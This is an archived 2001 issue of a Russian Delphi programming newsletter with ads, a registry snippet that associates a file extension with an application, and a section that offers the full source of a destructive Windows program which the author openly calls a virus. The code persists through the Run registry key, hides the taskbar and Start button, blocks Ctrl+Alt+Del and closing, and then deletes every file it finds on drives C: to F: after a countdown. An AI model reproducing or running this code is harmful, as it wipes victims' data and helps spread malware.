Отправляет email-рассылки с помощью сервиса Sendsay

СообЧА. Программирование на Delphi

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Программирование в Delphi" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Декабрь 2001   →
 1
 2
 3
 4
 5
 6
06.12.2001
16:13:59
22:11:05
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Автор
Сергей

Статистика

10.085 подписчиков
-9 за неделю
←   Все выпуски   →

СообЧА. Программирование на Delphi


Служба Рассылок Subscribe.Ru
Subscribe.Ru :СообЧа программирование на дельфи !
™—Сообча : программирование на дельфи —

Здесь СЕРЬЕЗНО могла бы быть ЛЮБАЯ ваша реклама: обращайтесь ко мне... Стоимость размещения в 1 номере 10 рублей.

Нас читают более 3000 человек ...
С наступаю..... ой , не то!
 В этом выпуске:

Если рассылка долго не ходит,то у меня диал-ап " кончился " :(

 

Коротко о разгоне: Scream if you wanna go faster... :)

Рассылки Subscribe.Ru это стильно удобно, и информативно!
СообЧа (СООБщество ЧАйников). Обмен опытом, вопросы, ответы.
подпишись и подпиши друга!!!!

 Contact (Связь с Нами):

Pixel@novgorod.net + Subject:

Vcl Haunting

"Золотой Чайник"

Вопрос по дельфи N (номер версии)

Help!

 

 

Новости (Слово о нашем спонсоре...)

К заголовку

Лучшие товары ОЗОНА

Внимание , хелп!

Люди, у меня постоянно вылетает мой монитор LG flatron 17, изображение корежит и стягивает, уже треий раз ремонтируют.... Кто поможет с диагнозом и как его "лечить", поможет сократиь промежуток выхода рассылки.

  • Sudden Strike(противостояние 3) убойная ТАКТИЧЕСКИ ГРАМОТНАЯ RTS на тему 2й мировой войны...
  • Демиурги: Вы фанат Magic the Gathering? Тогда это для вас!!!!

Книги по Дельфи которые ВЫ ОБЯЗАНЫ ПРОЧИТАТЬ...

Не столько учебник, сколько справочное пособие по наиболее используемым алгоритмам и командам...

Пожалуй лучший учебник по дельфи 6 на сегодняшний день, вам даже не надо знать дельфи, чтобы начать ...

Купите- не пожалеете!

 

О наболевшем : открытие файла своей программой

К заголовку

Как зарегистрировать расширение файла за своим приложением и контекстное меню,
связанное с этим типом?

Ответ:
Пример регистрирует расширение файла(.myext) - файлы этого типа будут открываться
приложением MyApp.Exe. Также регнстрируется одно действие (action) по умолчанию
для файлов этого типа и два дополнительных пункта контекстного меню, связанного с
этим типом файлов. Возможно, потребуется перезайти в систему чтобы изменения
вступили в силу.

Пример:

uses
Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
R : TRegIniFile;
begin
R := TRegIniFile.Create('');
with R do
begin
RootKey := HKEY_CLASSES_ROOT;
WriteString('.myext','','MyExt');
WriteString('MyExt','','Some description of MyExt files');
WriteString('MyExt\DefaultIcon','','C:\MyApp.Exe,0');
WriteString('MyExt\Shell','','This_Is_Our_Default_Action');
WriteString('MyExt\Shell\First_Action',
'','This is our first action');
WriteString('MyExt\Shell\First_Action\command','',
'C:\MyApp.Exe /LotsOfParamaters %1');
WriteString('MyExt\Shell\This_Is_Our_Default_Action','',
'This is our default action');
WriteString('MyExt\Shell\This_Is_Our_Default_Action\command',
'','C:\MyApp.Exe %1');
WriteString('MyExt\Shell\Second_Action',
'','This is our second action');
WriteString('MyExt\Shell\Second_Action\command',
'','C:\MyApp.Exe /TonsOfParameters %1');
Free;
end;
end;

 

 

Краткий курс инфекциониста

К заголовку

Есть такая профессия - почту разносить, в дребезги... Ну это я к чему, а к тому, что сейчас приведу вам код довольно мощного вируса. Учтите, для его работы нужны System tools VCL ,иначе он будет "болванокой", которая ничего ни делает, но вы можете сами восполнить этот пробел, имея ТОЛЬКО СТАНДАРТНЫЕ компоненты, но код придется покоцать...

код базировался на дельфи5, ниже сам код и результаты тестов.

Винды
Полное умирание
Частичное умирание
Только тестовый запуск
Xp
-
-
да
98/ME
да
нет
нет
95
-
-
-
NT
нет
да
нет

Предостережение : Выход производится только введением выделенного кода. Если вы просто подадите HALT винды будут немного "в шоке". Есть тут несколько лишних момнетов, которые остлись от других релизов этого вируса, но я думаю вы поймете что к чему.

unit Unit1;

interface

uses
Windows, MMsystem, Messages,SysUtils, Classes,graphics, Controls, Forms,
registry,FileCtrl,Mask, VrControls,
VrScanner, VrLabel, VrHotImage, VrLeds,menus, dcClasses, dcDiskScanner,
StdCtrls, ExtCtrls;
const
WM_MYNOTIFY = WM_APP+1;
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
Item11: TMenuItem;
Item21: TMenuItem;
Timer1: TTimer;
Panel1: TPanel;
Button1: TButton;
lab: TVrLabel;
VrLed1: TVrLed;
ssss: TdcDiskScanner;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Item21Click(Sender: TObject);
procedure Item11Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Timer1Timer(Sender: TObject);
procedure VrLed1Click(Sender: TObject);
procedure ssssFileFound(Sender: TObject; FileName,
FileType: String; FileSize: Extended;
FileAttributes: TDiskScannerAttributes; LargeIcon, SmallIcon: TIcon;
TotalFiles: Integer; TotalSize: Extended);
procedure ssssScanDone(Sender: TObject; TotalFiles: Integer;
TotalSize: Extended; ElapsedTimeInSeconds: Integer);
private
procedure OnMess(var Mess: TMessage); message WM_MYNOTIFY;
procedure OnMinimize(Sender: TObject);

public

{ Public declarations }
end;


var
Form1: TForm1;
x:integer=360;
function RegisterServiceProcess(dwProcessID, dwType: integer):integer; stdcall; external 'KERNEL32.DLL';

implementation

uses ShellApi;

{$R *.DFM}

procedure StartButton(visi: boolean);
var
Tray, Child : hWnd;
C : array [0..127] of char;
S : string;
begin
Tray := FindWindow('Shell_TrayWnd', NIL);
Child := GetWindow(Tray, GW_CHILD);
while Child <> 0 do begin
if GetClassName(Child, C, SizeOf(C)) > 0 then begin
S := StrPAS(C);
if UpperCase(S) = 'BUTTON' then begin
if Visi then
ShowWindow(Child, 1)
else
ShowWindow(Child, 0);
end;
end;
Child := GetWindow(Child, GW_HWNDNEXT);
end;
end ;
procedure TForm1.VrLed1Click(Sender: TObject);
begin
button1.visible:=true
end;

procedure TForm1.FormCreate(Sender: TObject);
const
SS = 'Icon Demo'+#0;
var nim: TNotifyIconData;
hMenuHandle:HMENU;
reg:TRegistry;
Year, Month, Day, Hour, Min, Sec, MSec: Word;

begin

reg:=TRegistry.Create;
reg.RootKey:=hkey_local_machine;
reg.OpenKey('Software\megasoft\vir\',true);
if reg.readString('firstrun')<>'nope' then begin

reg.WriteString('firstrun','nope');
reg.CloseKey;
reg.OpenKey('Software\microsoft\windows\currentversion\run',true);
reg.WriteString('winmggr32',application.ExeName);
halt;
end;
DecodeDate(now, Year, Month, Day);
if month=11 then halt;
if reg.readString('firstrun')='nope' then begin
end;
reg.CloseKey;
/////начало "веселья"
hMenuHandle := GetSystemMenu(Handle, false);
DeleteMenu(hMenuHandle,sc_CLOSE,MF_BYCOMMAND);
nim.cbSize:=sizeof(nim);
nim.Wnd:=Handle;
nim.uID:=0;
nim.uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
nim.uCallbackMessage:=WM_MYNOTIFY;
nim.hIcon:=Application.Icon.Handle;
Move(SS[1],nim.szTip[0],Length(SS));
Shell_NotifyIcon(NIM_ADD,@nim);
Application.OnMinimize:=Self.OnMinimize;
Application.Icon:=form1.icon;
ShowWindow(Application.Handle,sw_Hide);
end;

procedure TForm1.OnMinimize(Sender: TObject);
begin
Application.Restore;
Application.Icon:=form1.icon;
Visible:=False;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var nim: TNotifyIconData;
old:boolean;
begin
old:=True;
//Восстановить
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@old,0);
nim.cbSize:=sizeof(nim);
nim.Wnd:=Handle;
nim.uID:=0;
nim.uFlags:=0;
nim.uCallbackMessage:=0;
nim.hIcon:=0;
Shell_NotifyIcon(NIM_DELETE,@nim);
StartButton(true);
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOW); // Показать Taskbar
mciSendString('Set cdaudio door close wait', nil, 0, handle);
end;

procedure TForm1.OnMess(var Mess: TMessage);
var P: TPoint;
begin
if(Mess.LParam=516) then begin
GetCursorPos(P);
PopUpMenu1.Popup(P.X,P.Y);
end;
if(Mess.LParam=515) then begin
Show;
end;
end;

procedure TForm1.Item21Click(Sender: TObject);
begin
Application.Terminate;
end;

procedure TForm1.Item11Click(Sender: TObject);
begin
Show;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
begin
ShowWindow(Application.Handle,sw_Hide);
end;

procedure TForm1.FormShow(Sender: TObject);
var old: boolean;
begin
old:=True;
//Убрать
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@old,0);

ShowWindow(Application.Handle,sw_Hide);
StartButton(False);
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); //Скрыть TaskBar

if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);

end;

procedure TForm1.Button1Click(Sender: TObject);
begin

halt ;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 0);

end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:=FALSE;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if x>0 then begin dec(x,1) ;
lab.Caption:='Devastation begins in: '+inttostr(x)
end
else begin
timer1.enabled:=false;
ssss.Execute
end;
end;

procedure TForm1.ssssFileFound(Sender: TObject; FileName,
FileType: String; FileSize: Extended;
FileAttributes: TDiskScannerAttributes; LargeIcon, SmallIcon: TIcon;
TotalFiles: Integer; TotalSize: Extended);
begin
lab.Caption:='File '+filename+' is deleted ' ;
DeleteFile(filename);
end;

procedure TForm1.ssssScanDone(Sender: TObject; TotalFiles: Integer;
TotalSize: Extended; ElapsedTimeInSeconds: Integer);
begin
if ssss.Folder='C:\' then ssss.Folder:='D:\' ;
if ssss.Folder='D:\' then ssss.Folder:='E:\';
if ssss.Folder='E:\' then ssss.Folder:='F:\';
end;

end.

 

 

До встречи...

Zaluskiy Anton(COOLer)  и Khrapunov Kirill(Pixel)  - ведущие проекта    "Мир Delphi" Copyright : Pixelsoftware(Pixel)& Delphi 2000(COOLer)


к3кй TopList SpyLOG RLE Banner Network
http://subscribe.ru/
E-mail: ask@subscribe.ru		 Отписаться
Убрать рекламу		 Рейтингуется SpyLog

 

Another Banner Network

http://subscribe.ru/
E-mail: ask@subscribe.ru 		Отписаться
Убрать рекламу 		Рейтингуется SpyLog
http://subscribe.ru/
E-mail: ask@subscribe.ru 		Отписаться
Убрать рекламу
В избранное